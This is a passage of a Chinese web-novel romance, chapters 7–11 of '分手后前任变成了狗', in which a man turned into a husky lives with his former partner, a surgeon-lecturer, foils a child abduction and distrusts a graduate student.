不知道喻熙还有多久能出来,闲着也是闲着,反正也不要钱。 闵嘉胥点了头,那老人就开始神神叨叨地对他说:“缘主有贵人之姿,一生家大业大,无流离奔波之苦。家中老人开明,但是......” 闵嘉胥挑眉看着他,等他能说出什么惊世骇俗的“但是”来,却看见对方摸出一个微.信的二维码:“缘主,咱们讲的是一个‘卦不走空’,这边看完整的卦象呢是要随喜卦金的,您看您方不方便......” 一听见要交钱,闵嘉胥脸倏地一拉:“干嘛?不是说好了免费吗?” 老头也不说话,就举着二维码看着他。 两人在寺庙门口僵持了许久,闵嘉胥觉得脸上有点挂不住,于是咬着牙,不情不愿地给老头扫了个66.66过去。 老头眉开眼笑地收了钱,终于把后半句“但是”说了出来:“但是缘主印堂发黑,将来必有一劫,严重了怕是血光之灾。我这里有太岁符,缘主今年是不是犯太岁,只要99......” 没等他说完,闵嘉胥就气道:“滚滚滚,老骗子。” 老头见好就收,落荒而逃。 “怎么了?” 刚出来的喻熙看见闵嘉胥怒气冲冲的背影,觉得有些莫名:“刚刚好像听见你骂人来着。” “一个老骗子说免费给人看相,看了一半说剩下的交钱才继续说,”闵嘉胥磨了磨牙,“我交钱了,他又说我印堂发黑,要想化解就交钱买太岁符,当我傻子是不是?” ...... 闵嘉胥“啧”了一声,从回忆中缓过神。 不会真给那老登说对了吧? 晦气。 他甩了甩额发上的水珠,又蹑手蹑脚地回了房间里,鬼鬼祟祟地爬上床躺在喻熙身边。 今晚喻熙睡得确实很沉,连他悄悄躺在旁边了都没醒。 借着外面的月光,闵嘉胥眯着眼看向自己的爱人,半晌叹了口气,心里酸酸涩涩的,又觉得莫名安心。 或许变成狗是上天给他的一个机会呢? 让他从工作的繁忙中抽离出来,好好地陪在喻熙身边,哪怕是做一条狗,听起来好像也挺不错的。 闵嘉胥忍了又忍,想着喻熙累了一天,也好久没睡得这么熟了,最后还是忍住没叫醒他。 喻熙翻了个身,手自然地搭在他身上,吓得他瞪大眼睛,连呼吸都轻了。 但喻熙还是没醒。 闵嘉胥轻咳了一声,用气音说:“哥。” 喻熙眉心微蹙,也不知道听没听到。 闵嘉胥舔舔唇,垂眸低声说:“哥,我错了,对不起。” 他本以为不会获得任何回应,正想躺下睡觉时,就听喻熙似乎小声道:“别闹,闵嘉胥。” *** 兴许是下午和陈生提了一句过去,喻熙晚上久违地梦到了高中的事。 喻熙从小就学习好,人也长得好看,在班里人缘特别好,唯独一个叫闵嘉胥的差生从来没和他说过话。 闵嘉胥是高一开学后不久转来的,个子高大,每天脸色都阴沉沉的,像是谁欠了他五百万,看着就是不好惹的样子,班里也没几个人敢靠近他。他转来后班里的人数变成单数,于是只有他自己一个人孤零零地坐在教室后面,每天独来独往。 总结来说就是,很像小混混预备役。 本来喻熙也不想和这种人扯上什么关系,但他是班长,偶尔会在自习课的时候帮老师看着班级里的纪律,于是不得不和班级里的几个刺头打交道。 那天下午的自习课有周考,班主任去开会了。喻熙暂时替班主任监考,坐在讲台上一眼就看见后排低头偷偷摸摸不知道在干什么好事的闵嘉胥。 他微微眯眼,轻轻走到了闵嘉胥的单人桌子前,弯起食指敲了敲桌子。 闵嘉胥倏地抬头,像是被吓到了一样瞪着眼睛看他。 喻熙垂眸望向课桌底下,看见了一个被闵嘉胥藏起来的小册子。 他向闵嘉胥伸手,脸上没什么表情:“给我。” 闵嘉胥抿着唇,满眼的倔强,摇了摇头。 喻熙挑眉,勾了下指节,重复道:“给我。” 这会儿已经有几个同学注意到了后排的不寻常,悄悄回头看了一眼,发现闵嘉胥的表情还是那么吓人后又转了回去。 天哪,班长不会被这个转学生打吧? 但闵嘉胥没打他,还是很倔强地看着喻熙,又摇了摇头。 “班里有监控。” 喻熙的声音很轻,却透着不容置疑的意味:“不想被老师误解作弊就给我,周考作弊也要记过。” 闵嘉胥低下头,不知道在想些什么,等再次抬起头后不情不愿地把那个本子交到了喻熙手上。 哪怕不熟,喻熙也不愿意先入为主地认为闵嘉胥在作弊,本子收走作为警告这事就算结束了。 可是等他放学后往家走时,却敏锐地注意到身后好像有人在跟着自己。 望海市的治安很好,但偶尔也出现过学生独自放学回家的路上被抢钱的新闻。喻熙微微侧过脸,想借着余光看向身后,却只看见了一个慌张躲到墙后的影子。 还没等他看清身后跟着自己的到底是谁,一道嘹亮的犬吠声传来,而后一个黑白相间的矫健影子不知从何处出现,直扑向喻熙的身后。 有些凄厉的叫声划破安静的小巷,喻熙转身,看见那个黑白相间的影子正吐着舌头弓着背,一双尖尖的耳朵立着,满身戒备地把一个人堵在了墙角。 那人不是别人,正是周考时被他收 7. 第 7 章 《分手后前任变成了狗》全本免费阅读 梦中的世界有些朦胧,老照片似的,像是笼罩了一层下午四五点钟夕阳的金黄,落叶一样一片片地出现在闵嘉胥身上。 喻熙有些恍惚。 他下意识地伸手,想再摸摸少年的发顶,用那种揉小狗头的动作,和从前的每一次都一样。 可还没等他摸到闵嘉胥的头,身边的教授忽然“汪”了一声,而后凑了上来,疯狂地用鼻头拱他的手臂,好像是不想让他摸闵嘉胥的头。 “别闹,你......” 喻熙倏地睁开眼。 清晨的阳光透过窗帘落在木质地板上,随着空调冷气轻轻晃着。 原来是梦。 梦到前男友的感觉有点奇怪,尤其还是在梦里把从前的事又经历了一遍。 可还没等他适应这股别扭劲,一道灼热的呼吸再次喷洒在了他侧颈。 喻熙吓了一跳,完全忘记自己昨天捡回来了一条狗,抬腿就向旁边踹去,待触到偶软的皮毛时才愣了一下,但是已经来不及了。 狗从睡梦中被人踹醒,四肢像是重组的一样在空中胡乱划动半天,终于还是挂了半个身子在床边。 喻熙舒了口气,伸手捏了下哈士奇的耳朵:“疼不疼啊?” 哈士奇却好像什么感觉都没有似的,尾巴疯狂地摇来摇去,打在地板上发出闷闷的“啪啪”声。 喻熙唇角微翘,若有所思地看着他:“呦,还挺开心的,喜欢被踹?” 哈士奇舔了舔嘴唇,尾巴摇得更欢了。 喻熙上上下下看了他一会儿,没忍住笑了,伸手摸了摸狗的脑壳:“傻狗。” 他伸了个懒腰,觉得自己好像好久没睡得这么安心这么舒服了,整个人的精神都好了不少,甚至还有心情给自己煎个蛋。 等蛋翻面的时候,他习惯性地看手机,回复了学生群和工作群的消息后,指尖在闵嘉胥的置顶对话框上停留了半晌,犹豫了很久还是没按下去。 他是个有点傲的人,最初是闵嘉胥追的他,后来也是闵嘉胥经常道歉哄他,就这么被人惯着过了十来年。 喻熙心里有点慌,轻轻“啧”了一声,用锅铲把蛋铲起来,发现有一面煎糊了。 糊了就糊了吧。 煎蛋面包牛奶端上餐桌,哈士奇也摇着尾巴来了,端端正正地在厨房门口坐好,蓝黑鸳鸯眼不停地瞄向冰箱。 喻熙瞥了他一眼,淡淡道:“没门,天天吃牛排要破产了,我工资可供不起这种奢侈品。” 闵嘉胥前爪刨了两下地,咧开嘴笑了。 我养你啊我养你啊,他想,我的公司我的钱都是你的。 但喻熙听不见他内心在想什么,只知道狗又莫名其妙地笑了。 “你......” 喻熙放下刀叉,眯着眼望向狗:“挨骂也这么开心?” 狗又摇了摇尾巴。 喻熙把自己的饭吃完,去橱柜里翻出来一袋狗餐包,把餐包倒进了食碗里。 餐包里面的汤汤水水有些多,他倒的时候没注意,一些肉糊沾在了手指上。 他抬眸看向狗,勾了勾手指:“来。” 哈士奇很听话,“哒哒哒”地来了,端端正正坐在他身边。 喻熙伸出手放到他嘴边:“舔了。” 哈士奇用鼻子嗅了嗅,狗脸上似乎一闪而过了什么复杂的表情。 好糟糕的台词。 先前喻熙也和他说过这样的话。 那次他出差了半个月,一回家就找人腻腻歪歪地抱着不松手,其中的暗示不言而喻。 喻熙知道他在心里在打什么算盘,故意看不懂他在暗示什么,把闵嘉胥急得满头大汗,这才允许他靠近。 “洗澡了没有?” 喻熙揪着他的衣领,鼻尖轻轻凑近他的侧颈,呼吸像蝴蝶似的落在闵嘉胥的皮肤上。 闵嘉胥咽了口唾沫,喉结上下动了动,有些急切地要去拽喻熙的衣扣,却撞上了对方似笑非笑的目光。 “急什么?” 喻熙轻声说:“我让你动了吗?” 闵嘉胥觉得自己要炸了,太阳穴“嗡嗡”作响,扣在喻熙手腕上的手背绷出了青筋,却仍不敢多做任何动作。 从小到大他就听喻熙的话,喻熙说什么他做什么,曾被不怀好意的同学说他是喻熙的狗。 对此闵嘉胥不是很在意,也没觉得人格被侮辱。两个人日常相处的模式就是这样的,他喜欢把自己放低一点,能对喻熙好就行。 喻熙惯常握着手术刀的指尖从他的侧颈向下滑,状若漫不经心地滑过他【月要带】的侧面,将金属扣解开,颇有些欣赏地听着爱人在自己设计下骤然加快的呼吸声—— “忍着,”他轻声说,“弄到我手上就舔干净。” ...... 哈士奇晃了晃头,回过神来,轻轻将喻熙指节上的餐包汤舔干净了。 变成狗后味蕾好像也被改变了,他居然觉得这没味道的餐包还挺好吃的。 “好狗。” 喻熙收回手指,抽了张纸巾将残留的狗口水擦干净,起身道:“我上班去了,你在家老老实实待着,听见没有?” 哈士奇抬头看向他,又摇了摇尾巴咧着嘴笑了出来。 喻熙伸手摸了下他的头,去卫生间做出门前的准备,却意外发现了一件洗好的衬衫静静地搭在晾衣架上。 是那天晚上闵嘉胥和自己吵架时正穿着的那件。 昨晚闵嘉胥难道偷偷回家了? *** 开完组会,陈生拿着文件在走廊里追上他:“喻哥,狗怎么样了?” “挺好的,”喻熙说,“能吃能睡能喝,昨晚还知道床上睡得舒服来床上睡。” “养条狗多好啊。” 陈生“哎”了一声:“我看你最近心情也不好,他们不是说小动物能安抚人吗?” 真的吗? 那也得是不给人添乱的小动物吧。 喻熙想起过往的养狗经历觉得这个说法的真实性有待考证。 “今天我请你吃饭啊,上次说好了的。” 陈生用力拍了拍他的肩,挤眉弄眼:“人情还没还你呢。” 喻熙刚想说“不用”,就看见这小子笑嘻嘻地一矮身子跑了。 他回到办公室,看见桌上摆着的一束花时愣了下,随口问旁边的同事:“这花是......” 8. 第 8 章 《分手后前任变成了狗》全本免费阅读 喻熙脸色一变:“什么?” “您家的狗跳楼了。” 对面的背景音里说什么的都有,如果仔细听,能听到有人似乎在吵架,用的望海本地的方言,越吵越难听。 “一时半会儿说不清,”那女人说,“您还是回来一趟吧。” 喻熙“嗯”了一声,将电话挂断,顾不上池俊飞踟蹰半天准备要和自己说什么,匆匆道:“我有事要回家一趟,你要是课题上有什么问题就去找陈老师。” 池俊飞怔在原地,双目微睁,似乎有些不能接受喻熙说的话:“老师,我,我......” 喻熙惦记着从二楼跳下来的狗,又担心又生气,恨得牙痒痒,实在没耐心听池俊飞“我”了半天后要说什么,匆忙抓起自己的家门钥匙离开了教研室。 池俊飞看着他的背影,微微低头,双眼又被藏在了刘海后。 他在原地站了好久,直到走廊里隐约传来了下课铃声,他才如梦初醒般地抬头,深深望了一眼喻熙离开的方向。 “你怎么在这儿?” 陈生抱着一摞文件回来,看见钉子似的戳在原地的池俊飞,奇道:“你......你来找喻熙的?” 池俊飞舔了下唇,发出了一个短促又模糊的音节,算是肯定了他的话。 “喻熙一上午都没课,人哪去了?” 陈生将文件放下,向喻熙空着的办公桌张望了下:“你有事吗?有事跟我说啊。” 池俊飞摇了摇头,也不和他说“再见”,有些僵硬地转身向教研室外走去。 “什么学生这是,”陈生皱眉“啧”了一声,“虽然我不是他导师,但怎么一点礼貌也没有?” 池俊飞出了教研室,一路向走廊尽头走去,径直钻进了男卫生间。 男卫生间里没有人,他这才慢慢松开攥着那朵花的手,静静地看着自己掌心与指腹上被刺出的伤口。 玫瑰花的刺虽然被花店修剪过了,却依旧保留着最开始的尖锐,在池俊飞刻意按压的力气下仍能将人的皮肤刺出血来。 虽然在办公桌上无人问津了一天,但花店做的保鲜工作很好,玫瑰的花瓣仍然鲜艳。 池俊飞盯着花看了许久,垂下头,任刘海把自己的眼睛再一次遮住,而后发狠地揪着玫瑰花瓣,似乎对这朵花有着滔天的仇恨。 玫瑰花被他折磨得像吊死的人,他似乎这才满意了,将花梗折断,摔进了垃圾桶里,发出“砰”地一声闷响。 *** 学校和小区离得不远,喻熙叫了辆出租车,没用十分钟就到了小区门口。 小区门口停着两辆警用摩托,上面的灯正一闪一闪地亮着,让喻熙心里“咯噔”了一下。 这得是闯出了多大的祸,才能把警察都招来? 他舔了下唇,先将有些不安的情绪安抚下来,沿着石板路向上,一路往自家的独栋走去,还没到家门口,就看见自家后院里围了一圈人。 这个小区前半部分是别墅区,后半部分是公寓区,而别墅区也分带院子的小别墅和不带院子的小别墅。闵嘉胥买房子的时候说想种菜,于是添了几万选了带院子的房子,可这么多年过去他一棵菜也没种过。 喻熙慢慢走到人群外,借着人群的缝隙向里面看去,发现哈士奇正死死地压在一个男人身上,原本只会冲他咧嘴傻笑的嘴正钳子似的箍着男人的胳膊。 物业的工作人员认出来喻熙,从人群中挤了过来:“喻先生,您可算回来了。” 喻熙稳了下有些紊乱的呼吸,低声道:“怎么回事?您在电话里说我的狗跳楼......” 周围看热闹的邻居意识到狗的主人来了,自发为他和物业的工作人员让了条路出来。 他这才看见,除了狗和男人,还有一个牵着小孩的男人在旁边,两个巡警好像正给她们做笔录。 “喻先生,是这样的......” 物业低声开始给他讲这件事的来龙去脉,讲到一半时喻熙就知道是怎么回事了。 早上十点左右的时候,对面一栋别墅里的家长去接上幼儿园的孩子放学。路边停着一辆卖西瓜的货车,小孩吵着要吃西瓜,于是家长开始挑西瓜尝西瓜,和老板越拉扯越投入,连孩子挣脱了手离开都不知道。 小孩可能是在太阳下站久了有点热,想到家门口去等家长,拐过小路走到喻熙家附近时,忽然冒出来一个男的,张嘴就和小孩说:“你怎么在外面到处乱逛?赶快和我回家。” 他的语气过于理所当然,孩子还没反应过来,就被人一把抓住了胳膊。 当时附近没有什么人,只有一个出来晒太阳的大爷听到了这边的争执。但那个男的语气神态实在太坦然了,让他一时间没法判断对方说的到底是不是真的。 孩子反应过来后大声地哭闹起来,开始手忙脚乱地想挣脱男人的手。男人见势不妙,大声呵斥道:“不听话的死崽子,看我回家揍不揍你!” 他说完,像拎小鸡一样把孩子拎起来,正准备撒腿就跑,天上忽然落下来一只狗,狠狠地咬住了他的手腕。 这狗也正是现在压在人贩子身上的哈士奇。 ...... 事情说完,那边的询问也差不多要结束了。巡警让家长和孩子一起去做个笔录,一面驱赶围观群众,一面试图和哈士奇沟通:“好了,没事了,你放开他吧。” 哈士奇却仍咬着男人的手腕,佯装不懂地抬头看向巡警。 喻熙有些无奈地摇了摇头,推了下眼镜,冷声道:“松口,闵嘉胥。” 哈士奇耳朵倏地竖了起来,马上回头循着声音望来,在看见喻熙的那一刻便立刻张开了嘴,而后摇着尾巴屁颠颠地走了过来。 “小哥,这狗是你家的?” 围观的一个阿姨啧啧称奇:“哦呦,这狗可不得了,刚才十个人拉他都不撒口,还是主人说话好用嘞,主人让撒口立刻就撒口了。” 哈士奇对旁人的评价充耳不闻,在喻熙脚边坐好,又开始咧嘴傻笑。 那对父子路过喻熙时,那个父亲向喻熙鞠了一躬:“太感谢您了,我都不敢想孩子真的被人贩子拐走,我们家要怎么办啊。” 喻熙愣了下,轻咳一声:“别谢我,是......是我家狗做好事。” 那个孩子似乎也缓过劲来,不再像刚才那么害怕了,还弯腰摸了摸哈士奇的头:“下次见面给你饼干吃。” 狗一双蓝黑鸳鸯眼里多了几分复杂的情绪,只让小孩摸了一下,就把头转开了,尾巴“扑扑”地拍着地面,似乎不太愿意让人摸。 喻熙瞥了他一眼,送走了那对父子,带着狗一路无言地回了自己家。 大门一关,喻熙的语气瞬间降到冰点以下:“趴下。” 哈士奇的笑容凝固了,有些迟疑地望着他,却还是很听话地趴下了。 喻熙扯开他的爪子,手法极为熟练地顺着哈士奇的肋骨一路按下去,检查他有没有骨折,没听见狗发出惨叫时才松了口气,而后突然松手,狗爪子“啪”地一声落在地上。 狗还没弄懂发生了什么,脖子上的项圈便被人拽住了。 喻熙面无表情,手上的力气却很大,扣着 9. 第 9 章 《分手后前任变成了狗》全本免费阅读 闵嘉胥没想到他会说这样一句话,怔怔地看着他,让哈士奇本来就富有喜感的一张脸更呆了。 大四被喻熙骂了以后,其实他也挺委屈的,一直以为喻熙是在生他的气,却完全没听出来喻熙狠话下的另一层意思。 他的爱人似乎也为他的勇敢所骄傲,只是因为太过担心他的安危,说出的话才显得那么不近人情。 喻熙也是个嘴硬心软的笨蛋罢了。 闵嘉胥想通了这点,尾巴倏地疯狂摇了起来,像个螺旋桨似的,抬爪一扑,把人扑倒在了地上,用舌头轻轻舔着喻熙的脸颊。 其实他从昨晚开始就想这么干了。 狗带着倒刺的舌头舔过喻熙的脸颊和侧颈,蹭得他痒痒的,让他倒吸一口冷气,耳尖泛起红晕,又生气又难受地低声呵斥他:“滚开,你疯了吗?” 狗有些不情不愿地抬头看向他,最后舔了下他的脸颊,这才慢吞吞地往旁边挪了挪,放他起身。 喻熙带着几分狐疑地看向哈士奇,觉得这狗好像有点不对劲。 十多年前,他家也养了条狗,就是那只出现在他梦里名叫“教授”的边牧。 边牧是他七岁时亲戚送的礼物,那会儿还是只小狗崽,几乎和他一起长大,却早早显露出了异于常狗的智商。哪怕家长短暂外出,教授也能把他照顾得好好的。无论是取牛奶拿报纸,还是接他放学,这十多年里教授从未出过岔子。 哪怕喻熙早就见过了聪明的小狗,也会对眼前的狗产生怀疑,原因无他,教授只是聪明,而这只哈士奇未免太像个“人”了。 哈士奇似乎察觉到了他的目光,讨好地弓起腰,做了个下犬式,将头放在他手边,一双眼向上看,带着讨好的意味,似乎在求喻熙原谅他。 喻熙盯着他看了半天,刚才那种奇怪的感觉消失了,现在哈士奇好像又和普通的狗没什么区别。 他叹了口气,站起身,觉得是自己想多了。 不说别的,狗怎么可能像人呢? 他将狗脖子上的项圈解了下来,顺手摸了摸狗脖子,警告他:“以后再做出格的事,这项圈你就一直戴着吧。” 狗低低地“汪”了一声,翻身从地上坐起来,“哒哒哒”地跟在他身后。 喻熙给陈生打了个电话:“下午我没课,就不去学校了,有事发消息找我。” 那边陈生午睡刚醒,声音有些朦胧:“你怎么上午开完会就跑了?发生什么事了?” “我家狗阻止了一场人口拐卖。” 喻熙瞥了追着自己尾巴转圈的哈士奇:“他从二楼跳下去把人贩子咬了。” 陈生倒吸一口凉气:“我靠,狗没事吧?” “没事,”喻熙说,“没受伤,但是被我骂了一顿。” “没受伤就好,但是我得和你说个事。” 陈生松了口气,而后忽然压低了声音,神神秘秘的:“咱们组前段时间不是问学校申请了一批实验鼠吗?学生给养在实验室里还没来得及登记,结果中午我闲的没事去数了一下,老鼠好像少了不少。” 喻熙蹙眉:“老鼠少了?是不是围栏没做好跑出去了?” “不可能。” 陈生斩钉截铁道:“实验室买了那么多批老鼠,怎么可能因为围栏的问题跑掉?” “那是为什么?”喻熙问,“难道是有人偷老鼠?” 陈生犹豫半晌,否定了他的猜想:“没人会无聊到偷实验鼠吧?等你明天来去查一下监控看看。” 喻熙刚要说话,就听哈士奇在旁边有些急切地叫了两声。 他的目光落在狗身边的饭碗上,了然:“不和你说了,我给狗喂饭去了。” 电话挂断,喻熙去橱柜里翻出一个德罐给狗开了。 哈士奇围着狗碗转了一会儿,抬头看着他,又低低叫了一声。 喻熙垂眸,居高临下地看着他:“说了再挑食就没饭吃,忘了是吧?” 狗歪着头看了他一会儿,似乎在思考他说话的真实性,思考后有些委屈地呜咽一声,乖乖低下头,舔了两口碗里的饭,觉得有点食不知味。 还是七分熟的牛排好吃,毕竟是他自己严选买回家的。 喻熙看见他吃狗罐才满意,伸手摸了把狗头:“好狗。” 他将门口被踢乱的鞋摆正,这才发现身上有些难受,是他紧急回家这一路上出汗太多了,衣领湿漉漉地贴在后颈上,让人烦躁。 喻熙顺手将客厅的电视打开,让过于安静的别墅里多点声音,而后上楼换衣服准备冲个澡。 闵嘉胥为了一句“好狗”,把原本看都不屑于看一眼的狗饭吃了大半,竖起耳朵听见楼上响起水声,迅速远离了那盆狗饭。 也不是不好吃,喻熙买的都是德罐,就是对闵嘉胥这种吃惯了油盐的人类变的狗来说实在是太寡淡了。 喻熙随手打开的电视正在放某重播的电视剧,闵嘉胥竖起耳朵听了两句,觉得实在是没意思,轻车熟路地咬着电视柜的把手打开柜子,将里面的遥控器拿了出来,给电视换了个台。 男主正45度角仰望天空的脸瞬间换成了网络游戏峰会的演播室。 闵嘉胥满意地点了下头,自觉跳到了沙发上,换了个舒服的方式听峰会讲了什么内容,一边听一边往心里记,听得有点入迷,没发现楼梯上传来的脚步声。 喻熙洗澡的时候忘记拿换新的衣物了,只能先用一条浴巾围着出来,走下楼梯的时候看见狗正人一样窝在沙发里看电视,动作下意识地慢了下来,停在了楼梯最后几阶。 狗是在看电视吗? “......今年游戏市场的不景气,也让一部分游戏公司保持了观望的状态。但《王者荣耀》《和平精英》等游戏入亚,正式登上电子竞技的赛场,也让整个行业焕发出新的生机,为此......” 这是......网络游戏峰会? 喻熙偶尔玩玩游戏,但很少关注这些,但闵嘉胥作为游戏的开发者和从业者,平时没少看这种新闻发布会和峰会。 刚才他打开电视的时候,电视里在放什么来着? 这么巧就是闵嘉胥经常看的频道吗? 他慢 10. 第 10 章 《分手后前任变成了狗》全本免费阅读 喻熙蹙眉看向池俊飞:“我上次忘了问,你怎么知道我家在哪的?” “哦,上次您寄快递,我在快递单上见到的。” 池俊飞抬头,将刘海撇到一边露出眼睛,有些腼腆地对喻熙笑了下:“抱歉,如果老师觉得不高兴的话,我道歉。” 这个学生在团队里其实不算高调,每次开组会的时候总是低着头一个人坐在人群外,如果偶尔有讨论和他有关,他也很少发表自己的观点,只做一个执行者。但他的成绩不错,就算是太内向不合群,其他组员有什么事也愿意带他一起。 喻熙的脸色稍微缓和了几分:“谢谢你关心我,我没事,你早点回学校吧,别被宿管说了。” 池俊飞摇了摇头,从书包里拿出一摞文件:“老师,这是今天实验室的数据,我带来给您看一眼。” 喻熙有些意外,扬起眉看了他一眼,接过文件翻了两页,侧身让出了位置:“你先进来吧。” 池俊飞唇角微翘,正要抬腿迈进门,一道黑白相间的影子倏地冲了过来,而后冲着他狂吠起来。 狗叫声太突然,让喻熙都吓了一跳,抬头发现是哈士奇不知何时从客厅流窜过来,正对着池俊飞龇牙低吼,浑身的毛都炸了起来,像是在威胁人。 池俊飞怔了下,一张小脸顿时变得煞白,颤颤巍巍地开口:“老,老师,这狗......” “别捣乱,”喻熙警告他,“回去。” 一向听他话的哈士奇却不肯退后,仍龇着牙拦在喻熙面前,背拱了起来,似乎进入了战斗的状态。 喻熙“啧”了一声,伸手拧住哈士奇的耳朵,把狗往后拖了拖:“让你回去,你聋了吗?” 哈士奇的气势瞬间减了一半,呜呜嘤嘤了半天,心不甘情不愿地往后退了退,让出了门口的位置。 池俊飞推了下眼镜,笑着说:“哎呀,原来老师家里养狗了,这么凶啊。” 哈士奇呼哧呼哧地喘着气,喉咙里依旧在发出低吼声,只是其中多了几分委屈的意味。 喻熙将人带进客厅,顺口问道:“喝点什么?家里只有白水。” “没事,不喝也行,”池俊飞在沙发坐下,笑眯眯地看着哈士奇,“我不渴,老师不用费心了。” 喻熙最后还是给他倒了杯水放在茶几上,自己则坐在对面饭看起那份文件来。 “老师之前就养狗吗?” 池俊飞喝了口水,掌心慢慢摩挲着玻璃杯:“没听老师说过呀。” 喻熙戴上了眼镜,用笔在文件上圈出了一个数据,闻言笔尖顿了下:“嗯,才养的。” “我就说么。” 池俊飞笑了笑,目光落在哈士奇的身上:“这狗挺可爱的。” 喻熙有些意外,抬眸:“刚才他凶你呢,你还觉得他可爱?” 池俊飞点了点头:“对啊,小动物嘛,调皮一点也正常,管教一下,尝到苦头就好了。” 闵嘉胥原本正趴在喻熙身后舔爪子,听到他说的话后耳朵倏地立了起来,又对着池俊飞龇了下牙。 作为一个人来说,闵嘉胥觉得自己的脾气算是好的,哪怕做狗,也是一只听主人话的狗,可眼前的人他确实很讨厌。 池俊飞是去年刚来喻熙课题组的学生,他来的第一天,恰好碰上闵嘉胥去接喻熙下班。那时他刚出差回来,足足有半个月没见自家爱人了,还没上车就想和喻熙,却被一道有些拘谨的声音打断了。 “......老师。” 他转头,看见池俊飞正站在两人身后,身上还穿着白大褂,手里拿着一个笔记本,浑身散发着局促的气息,冲着两人笑了下。 喻熙低声让他先上车,往池俊飞的方向走了几步。闵嘉胥隔着茶色的车窗玻璃看去,只能看见池俊飞的侧脸。 池俊飞的刘海有些长,挡住了半边脸,没被挡住的这半边冲着他,让他能清楚地看见池俊飞眼中特别的神色。 那种神色他很熟悉。 是对强者的敬佩和仰慕,也是学生时代他看向喻熙时的眼神。 闵嘉胥莫名有些烦躁,沉着脸低下头,有一搭没一搭地玩着手机,等到喻熙上车时才问他刚才那个男生是谁。 那好像是他们因为池俊飞发生的第一次不快,喻熙觉得他想太多,他觉得自己肯定没看错。 因为这些年他就是这样看着喻熙的,他比任何人都懂这种孺慕的眼神后代表什么意思。 前两天他跟喻熙吵架,也把这件旧事翻出来重提了。 他真的还蛮介意的。 闵嘉胥两只前爪交叉搭在身前,深深地叹了口气,觉得爱人实在是过于迟钝,完全看不出坐在对面的小崽子心里在想什么。 也许因为情敌之间的感觉是最敏锐的。 “......这几个地方需要修改,”喻熙将水笔的笔盖盖上,把文件递回给池俊飞,“剩下没什么问题了。” 池俊飞接过文件,轻声说:“老师辛苦了。” “知道我辛苦?” 喻熙瞥了他一眼:“知道的话下次就别随便来我家。” 池俊飞被他噎了一下,脸上的笑有些僵硬。 他起身看了眼通往二楼的楼梯,状若无意道:“也是,是我考虑不周了,万一老师家还有别的客人来访,那确实太不方便了。” 喻熙的动作顿了下,礼貌地起身走到玄关边做出送客的姿态。 池俊飞路过闵嘉胥,忽然伸手,像是想摸摸闵嘉胥的头。 闵嘉胥自然不可能就这么轻易地给他摸,张嘴便向那只手咬去。 “这么凶?” 池俊飞有些惊讶,倏地收回手,转身向喻熙点了下头:“那我就不打扰老师了。” 喻熙没说话,目送他走向门口。 如果不是喻熙在这儿,闵嘉胥真的很想咬他一口。他现在看着池俊飞脸上的笑就觉得假,谁知道这人莫名其妙地来找喻熙心里怀的是什么鬼胎,如果他还是人的话...... 他的目光向上,落在了池俊飞的肩上,忽然愣了下—— 他好像看见池俊飞的肩上有几团白色的雾气,只是相当朦胧,有黑色的大门当背景才能看清。 闵嘉胥以为自己看错了,使劲眨了眨眼睛,待再次睁眼时,那几团会发光的白雾好像消失了。 池俊飞推开大门,笑着对喻熙挥了挥手:“明天见,老师 11. 第 11 章 《分手后前任变成了狗》全本免费阅读 喻熙关上卧室的门,不出意外地听见了狗在楼下刨门的声音。 狗这两天其实见了不少人,医院的医生护士,陈生,来调查的民警,看热闹的邻居,可只对池俊飞展现出了这样的攻击性。 喻熙轻轻叹了口气,却没理门外开始呜呜嘤嘤的狗,仰躺在了床上,觉得自己清净了不少,开始回忆起和池俊飞这个人相处时的细节,却还是不知道池俊飞是从哪张快递单上知道自家住宅地址的。 今天还是自己草率了,没仔细看就开了门,让自己和对方还有一条狗都显得有些尴尬。 至于闵嘉胥...... 喻熙翻了个身,觉得眼皮有些沉重,恹恹地打了个哈欠。这一天早上八点开早会,中午还没来得及休息一下就回来给狗处理烂摊子,好不容易想休息一下学生还找上门来。 他是个累点很低的人,哪怕高中的时候应闵嘉胥的邀请参加了学校的篮球队,也只愿意跟在人后跑两步划划水,能少动就少动。长大后别人一天能精力旺盛地做很多事,但他只能短暂地集中精神做一两件事,而后就是潮水般涌来的疲惫。 虽然吵了架也说了分手,但闵嘉胥绝对不会沉默这么长时间的,找茬也好继续吵架也罢,总会像一颗太阳一样忽然从什么地方蹦出来,在他面前找找存在感。 这不是喻熙盲目自信,是认识了十多年后对闵嘉胥性格的熟悉,哪怕是高中吵的最凶的那次,闵嘉胥也没有这样销声匿迹过。 是不是出什么事了? 这个问题刚冒出头就被喻熙否定了。 如果真是什么不得了的大事,他也早该知道了才对。 要么等睡醒了发个消息问问好了。 喻熙迷迷糊糊地这样想着,不过一会儿就陷入了浅眠之中。 *** 兴许是睡前想到了闵嘉胥,喻熙又一次在梦里回到了高一。 当年还是文理分科的时代,学生要在高一下半学期选择自己想学的科目,向学校提交家长签过字的分科志愿表,再由学校统一查看分班。 喻熙在上高中之前就坚定自己要学医的想法,而他的理化生成绩也是学校数一数二的,想也没想就填了理科班的志愿。 可是在他收集分科志愿表时,却偶然看见闵嘉胥的志愿表上填的也是“理科”。 距离当时喻熙和闵嘉胥拉钩已经过去快一年了,而喻熙也依着自己说出的约定在尽心尽力地课后帮闵嘉胥好好学习,但帮忙的结果却好像有点不尽人意。闵嘉胥的数学还行,但理化生三科仍然在班级倒数的位置,文科的地理科目却名列前茅。 按理说,闵嘉胥这种情况更适合去学文。 喻熙看见那张志愿单时愣了下,面色不虞地微微蹙眉,好不容易等到了午休,直接把闵嘉胥拦在了班级的后门前,开门见山道:“我看见你的志愿表了。” 闵嘉胥有些心虚地移开目光:“就......有梦想谁都了不起,试试看呗,理科就业不比文科好吗?” 喻熙听见他说这话就来气。 其实他一直不赞同所谓“理科比文科就业好”的说法,他觉得适合自己的才是最好的,一味地相信市面上这些机构老师的说法,很多时候都会踩个大坑。 “那你觉得你能学明白吗?”喻熙说话一向很不客气,当即反问他,“你理化生在班级能排多少名?这几科加起来能过一本线吗?” 闵嘉胥被他问得哑口无言,沉默了半晌后才低声道:“那现在不是才高一,我想试试看么,万一能行呢?” “试试看?” 喻熙要被他的天真气笑了:“人这一辈子能有几次试试看的机会?我们这种普通人又有多少试错的成本?” 他说完,深吸了一口气,沉声问道:“明天之前志愿还能改,下午你找班主任改去文科,这对你好。” 闵嘉胥抿着唇,半晌后摇了摇头:“不。” “好,你不改就不改,”喻熙冷笑,“我就多余关心你。” 他说完就走了,留给闵嘉胥一个决绝离开的背影。 